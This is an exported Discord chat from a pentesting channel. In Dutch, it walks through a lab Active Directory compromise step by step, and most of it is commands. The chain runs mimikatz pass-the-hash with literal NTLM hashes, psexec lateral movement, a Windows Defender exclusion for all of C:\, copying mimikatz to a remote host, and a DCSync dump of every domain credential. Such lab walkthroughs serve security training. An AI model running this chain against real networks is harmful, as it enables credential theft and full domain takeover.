CST

CST

Text channels / cst-pentesting

Joey 24-4-2024 18:29

Gebruik fake admin om een CMD admin prompt te openen

```
sc start adminasst
```

Download mimikatz en run mimikatz in deze admin window: https://github.com/gentilkiwi/mimikatz

Voer een PTH aanval uit: (edited)

Pak de NTLM hash van admin

Pash the hash met commando:

```
sekurlsa::pth /user:Administrator /domain:WIN10CLIENT /ntlm:af992895db0f2c42a1bc96546e92804a /run:"cmd"
```

(edited)

Nu heb je een nieuw CMD prompt met de rechten van het echte admin account

```
ping win10adm
dir \\192.168.56.30\c$
```

(edited)

Download sysinternals: https://download.sysinternals.com/files/SysinternalsSuite.zip

CD in de folder waar je sysinternals extract. Handig als je deze in temp folder gooit (edited)

```
psexec /accepteula \\192.168.56.30 cmd
```

Dit is vanaf nu je remote CMD prompt (edited)

Open powershell met commando:

```
powershell
```

```
get-mppreference
```

(edited)

Excusions zijn zichtbaar (hier al toegevoegd)

```
add-mppreference -exclusionpath "c:\"
```

(edited)

Nu terug naar eigen CMD prompt met fakeadmin login

```
net use x: \\192.168.56.30\c$
```

(edited)

Door deze directory te openen kun je de bestanden zien op de remote pc via je lokale prompt (hier staat mimikatz er al)

Nu mimikatz overhalen van je eigen pc naar de remote pc in dit scherm met de x drive open. Hierbij de lokatie van je mimikatz download gebruiken (edited)

```
copy C:\Users\normaluser\Downloads\mimikatz_trunk\x64\*.* .
```

Met uitvoeren van commando dir kan je kijken of het is overgezet. Als iets mis is gegaan dan nog een keer overzetten

In de remote CMD prompt mimikatz openen (mimikatz.exe in cmd prompt) (edited)

De hash pakken van domad (de domain controller) (edited)

Terug naar eigen CMD prompt met fake admin

In dit CMD scherm nog een keer mimikatz openen maar nu een PTH met de hash van domad (gevonden van mimikatz via remote cmd scherm) (edited)

```
privilege::debug
sekurlsa::pth /user:domad /domain:ADLAB /ntlm:cff48581d56085119bddffacfae51aeb /run:"cmd"
```

(edited)

Dit opent een CMD scherm met perms van domad
Open Mimikatz opnieuw

```
privilege::debug
lsadump::dcsync /all /csv
```

Dit geeft een output dat je moet laten zien

Exported 24 message(s)
Timezone: UTC+1